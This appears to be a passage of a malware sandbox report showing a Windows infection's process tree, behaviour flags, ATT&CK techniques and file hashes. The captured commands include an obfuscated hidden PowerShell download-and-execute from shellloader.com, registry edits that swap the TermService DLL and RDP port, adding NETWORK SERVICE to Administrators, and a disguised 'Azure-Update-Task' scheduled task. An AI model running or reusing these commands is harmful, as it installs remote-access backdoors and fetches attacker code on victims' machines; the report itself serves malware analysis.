- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\ba7104f9-5016-4ba9-892c-049f18772c54\build2.exe" & del C:\ProgramData\*.dll & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f9⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\ba7104f9-5016-4ba9-892c-049f18772c54\build3.exe"C:\Users\Admin\AppData\Local\ba7104f9-5016-4ba9-892c-049f18772c54\build3.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\ba7104f9-5016-4ba9-892c-049f18772c54\build3.exe"C:\Users\Admin\AppData\Local\ba7104f9-5016-4ba9-892c-049f18772c54\build3.exe"7⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"8⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\F1D5.exeC:\Users\Admin\AppData\Local\Temp\F1D5.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\F1D5.exe"3⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK4⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\vUslFXaOvQ.exe"C:\Users\Admin\AppData\Local\Temp\vUslFXaOvQ.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\B8CF.exeC:\Users\Admin\AppData\Local\Temp\B8CF.exe2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ABETD.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-ABETD.tmp\setup_2.tmp" /SL5="$401DA,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-T98QN.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-T98QN.tmp\setup_2.tmp" /SL5="$7006A,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-3JN4H.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-3JN4H.tmp\postback.exe" ss14⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe ss15⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"7⤵
- Blocklisted process makes network request
-
C:\Users\Admin\AppData\Local\Temp\ScYWlZMGs.exe"C:\Users\Admin\AppData\Local\Temp\ScYWlZMGs.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'7⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0zcufkzb\0zcufkzb.cmdline"8⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4392.tmp" "c:\Users\Admin\AppData\Local\Temp\0zcufkzb\CSCD60F69BC39BE4420B28A687EFACFCE2.TMP"9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f8⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f8⤵
- Modifies registry key
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f8⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add8⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr8⤵
-
C:\Windows\SysWOW64\cmd.execmd /c net start rdpdr9⤵
-
C:\Windows\SysWOW64\net.exenet start rdpdr10⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start rdpdr11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService8⤵
-
C:\Windows\SysWOW64\cmd.execmd /c net start TermService9⤵
-
C:\Windows\SysWOW64\net.exenet start TermService10⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start TermService11⤵
-
C:\Users\Admin\AppData\Local\Temp\fSDTvGEVL.exe"C:\Users\Admin\AppData\Local\Temp\fSDTvGEVL.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'7⤵
- Drops file in Windows directory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w24wwasb\w24wwasb.cmdline"8⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCF76.tmp" "c:\Users\Admin\AppData\Local\Temp\w24wwasb\CSC23829899A4CE49E687F2C51AECB31A2D.TMP"9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile8⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f8⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f8⤵
- Modifies registry key
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f8⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add8⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr8⤵
-
C:\Windows\SysWOW64\cmd.execmd /c net start rdpdr9⤵
-
C:\Windows\SysWOW64\net.exenet start rdpdr10⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start rdpdr11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService8⤵
-
C:\Windows\SysWOW64\cmd.execmd /c net start TermService9⤵
-
C:\Windows\SysWOW64\net.exenet start TermService10⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start TermService11⤵
-
C:\ProgramData\6003733.exe"C:\ProgramData\6003733.exe"1⤵
-
C:\ProgramData\6003733.exe"C:\ProgramData\6003733.exe"1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4252 -s 9561⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding D6CB9943CEF8AA594D38BBDCA3974AF8 C2⤵
- Loads dropped DLL
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 77D4632FA97FF78DE218F13ABB937FD32⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding B33C4BFD80D2E765C7D4CA3691B64B35 E Global\MSI00002⤵
- Loads dropped DLL
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" /update1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions2⤵
- Modifies system executable filetype association
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.160.0808.0002\FileSyncConfig.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.160.0808.0002\FileSyncConfig.exe"3⤵
- Loads dropped DLL
- Modifies registry class
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe"1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Change Default File Association
1Registry Run Keys / Startup Folder
3Account Manipulation
1Scheduled Task
1Defense Evasion
Modify Registry
6Virtualization/Sandbox Evasion
1File Permissions Modification
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\1354845.exeMD5
a8db62010fc3ff8a86abdf3988646a8c
SHA1247577574d8f60a064b03d9f2a627d0bdbc6d2a6
SHA256cb129cd67225cb40c544eab07466be9305132fc9607214174b48f4167e0b6b3d
SHA5128234d169c809f91658f88ccb80be1dbae587ff9e0a3e517f4b42ac0f2e4a3be73b77bba787b6ebc55422c2f081b9c07e44f1192d63c90d3837b55597f68b0e1d
-
C:\ProgramData\1354845.exeMD5
a8db62010fc3ff8a86abdf3988646a8c
SHA1247577574d8f60a064b03d9f2a627d0bdbc6d2a6
SHA256cb129cd67225cb40c544eab07466be9305132fc9607214174b48f4167e0b6b3d
SHA5128234d169c809f91658f88ccb80be1dbae587ff9e0a3e517f4b42ac0f2e4a3be73b77bba787b6ebc55422c2f081b9c07e44f1192d63c90d3837b55597f68b0e1d
-
C:\ProgramData\1441614.exeMD5
90f5bdcf9c193dbc10a04fa7724b783b
SHA131b331fd83b599c8768cbfa319f55a1797f28cbd
SHA256d1960ff8dd0b31dda8b20226304f5f584b04264e35c4cc9041aff7611ea69082
SHA5125cc0de7f37f44b99a246e19e148e2226adb406ebdfecd65b47bb2cd82419d4f468279e2be87db6e5d4cd3cc79030d8093ce551da2c91b247a7ba74f55b4b3956
-
C:\ProgramData\1441614.exeMD5
90f5bdcf9c193dbc10a04fa7724b783b
SHA131b331fd83b599c8768cbfa319f55a1797f28cbd
SHA256d1960ff8dd0b31dda8b20226304f5f584b04264e35c4cc9041aff7611ea69082
SHA5125cc0de7f37f44b99a246e19e148e2226adb406ebdfecd65b47bb2cd82419d4f468279e2be87db6e5d4cd3cc79030d8093ce551da2c91b247a7ba74f55b4b3956
-
C:\ProgramData\2558136.exeMD5
d4b87bd4f5956b855a27f0bcb1dde5f4
SHA1e3fa38a058b9d7b820fa89ad901417c9918778eb
SHA256da45516c0c39189c7eea11160bed9cc69cea2623d43ed9093bf2b478b0d25807
SHA512a132313c57d45e616bd8c211db8244d901b84371e51324ba96a6729eee10dcefd8466b27196b91ad5490c29ccbe090b056b22d1df116330cc7395c7b0a85ef87
-
C:\ProgramData\2558136.exeMD5
d4b87bd4f5956b855a27f0bcb1dde5f4
SHA1e3fa38a058b9d7b820fa89ad901417c9918778eb
SHA256da45516c0c39189c7eea11160bed9cc69cea2623d43ed9093bf2b478b0d25807
SHA512a132313c57d45e616bd8c211db8244d901b84371e51324ba96a6729eee10dcefd8466b27196b91ad5490c29ccbe090b056b22d1df116330cc7395c7b0a85ef87
-
C:\ProgramData\6003733.exeMD5
e4f8a44d85fea78bb9487e67a2527a64
SHA1384bd6fd735d8e69ba36daa0a7577db82a95e741
SHA2560f308bf054fb4aa75deede0f79cb55aa4f39d2122d6d0c0066e8001c5f9fa99f
SHA51246f38446426e84139529973b15f5bfe802dd853d8a967fba6fa253400f9aa42b16b7fae76984e120fef2359ee31b043cfeda2cc0b33e684265bfa1f6b8e9d50e
-
C:\ProgramData\6003733.exeMD5
e4f8a44d85fea78bb9487e67a2527a64
SHA1384bd6fd735d8e69ba36daa0a7577db82a95e741
SHA2560f308bf054fb4aa75deede0f79cb55aa4f39d2122d6d0c0066e8001c5f9fa99f
SHA51246f38446426e84139529973b15f5bfe802dd853d8a967fba6fa253400f9aa42b16b7fae76984e120fef2359ee31b043cfeda2cc0b33e684265bfa1f6b8e9d50e
-
C:\Users\Admin\AppData\Local\Temp\2.exeMD5
3bef291868337302198597f1e49e11cb
SHA1705a5efb3feddf5758c0ff3ff27f8dc2c78ccd64
SHA2567b8d7b971e0505f5ebfd9c726e8435878c6077ce2b235f2f647f7b5c21c2980b
SHA51285d96a08642d0ef59312c275c33dfdf5db3eb4b3fbfd48ec88d590cf28a2debe86b415d830fa8c3f87386ac788448887aef1b1911728e82a5b778d3f458730df
-
C:\Users\Admin\AppData\Local\Temp\2.exeMD5
3bef291868337302198597f1e49e11cb
SHA1705a5efb3feddf5758c0ff3ff27f8dc2c78ccd64
SHA2567b8d7b971e0505f5ebfd9c726e8435878c6077ce2b235f2f647f7b5c21c2980b
SHA51285d96a08642d0ef59312c275c33dfdf5db3eb4b3fbfd48ec88d590cf28a2debe86b415d830fa8c3f87386ac788448887aef1b1911728e82a5b778d3f458730df
-
C:\Users\Admin\AppData\Local\Temp\3002.exeMD5
e511bb4cf31a2307b6f3445a869bcf31
SHA176f5c6e8df733ac13d205d426831ed7672a05349
SHA25656002017746f61eee8d8e9b5ad2f3cbb119dc99300c5b6d32c1be184d3e25137
SHA5129c81de34bf3b0eb75405c726d641ef6090054e9be8e0c0ab1bb2ed095e6477ce2fa8996868bf8a77a720b210a76b5f4e1b3b086d7f40449d79498681b367199c
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun050462125c7d35.exeMD5
33108cca657823deab88501eae9e0095
SHA1a3d2e7bd571c688a0c17d68af3c6d2c17c5fd4d8
SHA256484b4f0df638edfbf9bd548677c50b58c2ff0cf4da44965bdb17ca42cb5f095d
SHA512fc253ab995aa90b6e77d5149b5b6cde017684c477a7205d0c91f234ce516aac2f44fbc682a02005c82b320bd5f53358a2699654340325167b32765f4a710f5f5
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun050462125c7d35.exeMD5
33108cca657823deab88501eae9e0095
SHA1a3d2e7bd571c688a0c17d68af3c6d2c17c5fd4d8
SHA256484b4f0df638edfbf9bd548677c50b58c2ff0cf4da44965bdb17ca42cb5f095d
SHA512fc253ab995aa90b6e77d5149b5b6cde017684c477a7205d0c91f234ce516aac2f44fbc682a02005c82b320bd5f53358a2699654340325167b32765f4a710f5f5
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun052bbd8bebd9.exeMD5
17453605e54baa73884d6dce7d57d439
SHA10153451591fb1b7a5dadaf8206265c094b9f15ad
SHA256065d26691736150f3643cb4bd06e991f62160406936d9053a82af11b8d0272ff
SHA5128e0472691fdbd700fbc28ed4e66cdd11696df1fb70d22a35876c936484fe99acc8038683f938047493b71603012aebdd0b4fbb192e57d66d6b0e873a8d727de3
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun052bbd8bebd9.exeMD5
17453605e54baa73884d6dce7d57d439
SHA10153451591fb1b7a5dadaf8206265c094b9f15ad
SHA256065d26691736150f3643cb4bd06e991f62160406936d9053a82af11b8d0272ff
SHA5128e0472691fdbd700fbc28ed4e66cdd11696df1fb70d22a35876c936484fe99acc8038683f938047493b71603012aebdd0b4fbb192e57d66d6b0e873a8d727de3
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun054fe19a12cb3.exeMD5
b160ce13f27f1e016b7bfc7a015f686b
SHA1bfb714891d12ffd43875e72908d8b9f4f576ad6e
SHA256fac205247d3b19b5f82f5f4d1269a5c047b6c9ad9f21cc51b4b782c2b08a3b87
SHA5129578fc34807be2541aa7dc26acbe27211e96b42c6c4208afe195b19b08264dfeb3ea7fec637c759f062cbd5561c5140ecd68cd5c79efbb844d3b2639e336ca0c
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun054fe19a12cb3.exeMD5
b160ce13f27f1e016b7bfc7a015f686b
SHA1bfb714891d12ffd43875e72908d8b9f4f576ad6e
SHA256fac205247d3b19b5f82f5f4d1269a5c047b6c9ad9f21cc51b4b782c2b08a3b87
SHA5129578fc34807be2541aa7dc26acbe27211e96b42c6c4208afe195b19b08264dfeb3ea7fec637c759f062cbd5561c5140ecd68cd5c79efbb844d3b2639e336ca0c
-
C:\Users\Admin\AppData\Local\Temp\7zS8CBC81D3\Sun05532f7abc.exeMD5
